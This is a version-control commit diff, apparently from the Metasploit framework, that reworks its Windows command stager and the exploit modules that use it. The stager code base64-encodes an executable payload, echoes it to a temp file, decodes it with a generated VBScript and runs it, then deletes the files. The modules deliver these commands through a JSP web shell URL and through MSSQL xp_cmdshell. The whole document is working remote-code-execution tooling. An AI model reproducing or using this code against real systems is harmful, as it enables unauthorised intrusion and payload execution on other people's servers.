big update to cmd stager

1. returns array of commands instead of big blob of lines
2. combine lines together when possible (to reduce # of commands to execute)
3. add cmd stager usage in mssql_payload
4. remove extraneous stuff here and there

git-svn-id: file:///home/svn/framework3/trunk@8721 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-03-05 00:29:44 +00:00
parent d8818fc268
commit 73da75a931
5 changed files with 142 additions and 135 deletions

View File

@ -14,7 +14,7 @@ module Exploit::CmdStager
# #
def initialize(info = {}) def initialize(info = {})
super super
@cmdstager = nil @cmd_list = nil
end end
@ -34,37 +34,25 @@ module Exploit::CmdStager
end end
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch) cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
cstager = cmdstager.generate(opts, linelen) cmd_list = cmdstager.generate(opts, linelen)
if (cstager.nil?) if (cmd_list.nil? or cmd_list.length < 1)
print_error("The cmdstager could not be generated") print_error("The command stager could not be generated")
raise ArgumentError raise ArgumentError
end end
@cmdstager = cstager @cmd_list = cmd_list
return cstager
end end
# #
# Show the progress of the upload (XXX: uses printf/print) # Show the progress of the upload
# #
def progress(total, sent) def progress(total, sent)
done = (sent.to_f / total.to_f) * 100 done = (sent.to_f / total.to_f) * 100
if (done.to_f < 99.00)
if(done.to_f < 99.00) print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total)
$stdout.flush
end end
if(done.to_f > 99.00 && done.to_f < 100.00)
# just to beautify output so the handler output will kick in
print "\r\e[0K"
$stdout.flush
return
end
end end
end end

View File

@ -13,131 +13,119 @@ module Exploitation
class CmdStager class CmdStager
module Windows
Alias = "win"
module X86
Alias = ARCH_X86
end
module X86_64
Alias = ARCH_X86_64
end
end
def initialize(payload, framework, platform, arch = nil) def initialize(payload, framework, platform, arch = nil)
@var_decoder = Rex::Text.rand_text_alpha(5) @var_decoder = Rex::Text.rand_text_alpha(5)
@var_encoded = Rex::Text.rand_text_alpha(5) @var_encoded = Rex::Text.rand_text_alpha(5)
@var_batch = Rex::Text.rand_text_alpha(5) @var_batch = Rex::Text.rand_text_alpha(5)
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here @decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
@framework = framework @framework = framework
@exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
@linelen = 2047 # covers most likely cases @linelen = 2047 # covers most likely cases
platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList)) # XXX: TODO: support multipl architectures/platforms
@exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
# Use the first architecture if one was specified
arch = arch[0] if (arch.kind_of?(Array))
if platform.nil?
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
end
CmdStager.constants.each { |c|
mod = self.class.const_get(c)
next if ((!mod.kind_of?(::Module)) or
(!mod.const_defined?('Alias')))
if (platform =~ /#{mod.const_get('Alias')}/i)
self.extend(mod)
if (arch and mod)
mod.constants.each { |a|
amod = mod.const_get(a)
next if ((!amod.kind_of?(::Module)) or
(!amod.const_defined?('Alias')))
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
amod = mod.const_get(a)
self.extend(amod)
end
}
end
end
}
end end
# generates the cmd payload including the h2bv2 decoder and encoded payload
# also performs cleanup and removed any left over files #
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
# The resulting commands also perform cleanup, removing any left over files
#
def generate(opts = {}, linelen = 200) def generate(opts = {}, linelen = 200)
@linelen = linelen @linelen = linelen
cmd = payload_exe
return cmd # Return the output from payload_exe
payload_exe(opts)
end end
def payload_exe(persist = false)
if(persist) #
opts = {:persist => true} # This does the work of actually building an array of commands that
else # when executed will create and run an executable payload.
opts = {} #
def payload_exe(opts)
persist = opts[:persist]
# Initialize an arry of commands to execute
cmds = []
# Add the exe building commands (write to .b64)
cmds += encode_payload()
# Add the decoder script building commands
cmds += generate_decoder()
# Make it all happen
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
# If we're not persisting, clean up afterwards
if (not persist)
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
cmds << "del %TEMP%\\#{@var_encoded}.b64"
end end
decoder = generate_decoder() # Compress commands into as few lines as possible.
new_cmds = []
line = ''
cmds.each { |cmd|
# If this command will fit...
if ((line.length + cmd.length + 4) < @linelen)
line << " & " if line.length > 0
line << cmd
else
# It won't fit.. If we don't have something error out
if (line.length < 1)
raise RuntimeError, 'Line fit problem -- file a bug'
end
# If it won't fit even after emptying the current line, error out..
if (cmd.length > @linelen)
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
end
new_cmds << line
line = ''
line << cmd
end
}
new_cmds << line if (line.length > 0)
exe = @exes.dup # Return the final array.
encoded = encode_payload(exe) new_cmds
stage = encoded + decoder
stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n"
if(not persist)
stage << "del %TEMP%\\#{@var_decoder}.vbs\n"
stage << "del %TEMP%\\#{@var_encoded}.b64\n"
end
return stage
end end
def generate_decoder() def generate_decoder()
decoder = File.read(@decoder, File.size(@decoder)) # Read the decoder data file
f = File.new(@decoder, "rb")
decoder = f.read(f.stat.size)
f.close
# Replace variables
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs") decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64") decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe") decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
return decoder # Split it apart by the lines
decoder.split("\n")
end end
def encode_payload(cmd)
tmp = Rex::Text.encode_base64(cmd)
encoded = ""
buf = buffer_exe(tmp) def encode_payload()
buf.each_line { | line | tmp = Rex::Text.encode_base64(@exe)
encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n" orig = tmp.dup
}
return encoded cmds = []
end l_start = "echo "
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
protected xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
while (tmp.length > 0)
# restricts line length of commands so that the commands will not exceed cmd = ''
# user specified values or os_detect set linelen cmd << l_start
# each line will never exceed linelen bytes in length cmd << tmp.slice!(0, (@linelen - xtra_len))
def buffer_exe(buf) cmd << l_end
0.upto(buf.length) do | offset | cmds << cmd
if(offset % @linelen == 0 && offset != 0 || offset == buf.length)
buf.insert(offset, "\n")
end
end end
return buf
cmds
end end
end end

View File

@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote
false false
end end
def exploit def exploit
generate_cmdstager() cmd_list = generate_cmdstager()
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5) http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
handler handler
end end
def http_send_cmd(opts, delay = 0.5)
len = @cmdstager.length def http_send_cmd(opts, delay = 0.5, cmd_list)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0 sent = 0
cmd_list.each { |cmd|
@cmdstager.each_line{ |cmd|
opts.each { |key, value| opts.each { |key, value|
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd)) value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
resp = send_request_raw(opts, 5) resp = send_request_raw(opts, 5)
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS') value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
sent = sent + cmd.length sent += cmd.length
# so multi threaded servers can place data in files in the correct order # so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay) select(nil, nil, nil, delay)
} }
progress(len, sent) progress(total_bytes, sent)
} }
end end

View File

@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
cmds = generate_cmdstager({}, 2047, p) cmds = generate_cmdstager({}, 2047, p)
scr = "" scr = ""
cmds.each_line { |ln| cmds.each { |ln|
ln.chomp!
scr << " f.writeString('" scr << " f.writeString('"
scr << ln scr << ln
scr << "\\n');\n" scr << "\\n');\n"

View File

@ -15,19 +15,20 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL include Msf::Exploit::Remote::MSSQL
def initialize(info = {}) include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution', 'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{ 'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState. incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed. System32 directory which must be manually deleted once the attack is completed.
}, },
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ], 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
@ -44,22 +45,49 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
[ 'Automatic', { } ], [ 'Automatic', { } ],
], ],
'DefaultTarget' => 0 'DefaultTarget' => 0
)) ))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
])
end end
def exploit def exploit
debug = false # enable to see the output debug = datastore['VERBOSE'] # enable to see the output
if(not mssql_login_datastore) if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials") print_status("Invalid SQL Server credentials")
return return
end end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug) # Use the CmdStager or not?
if (not datastore['UseCmdStager'])
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
else
cmd_list = generate_cmdstager({}, 1500)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0
delay = 0.25
cmd_list.each { |cmd|
mssql_xpcmdshell(cmd, debug)
sent += cmd.length
# so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay)
progress(total_bytes, sent)
}
end
handler handler
disconnect disconnect
end end
end end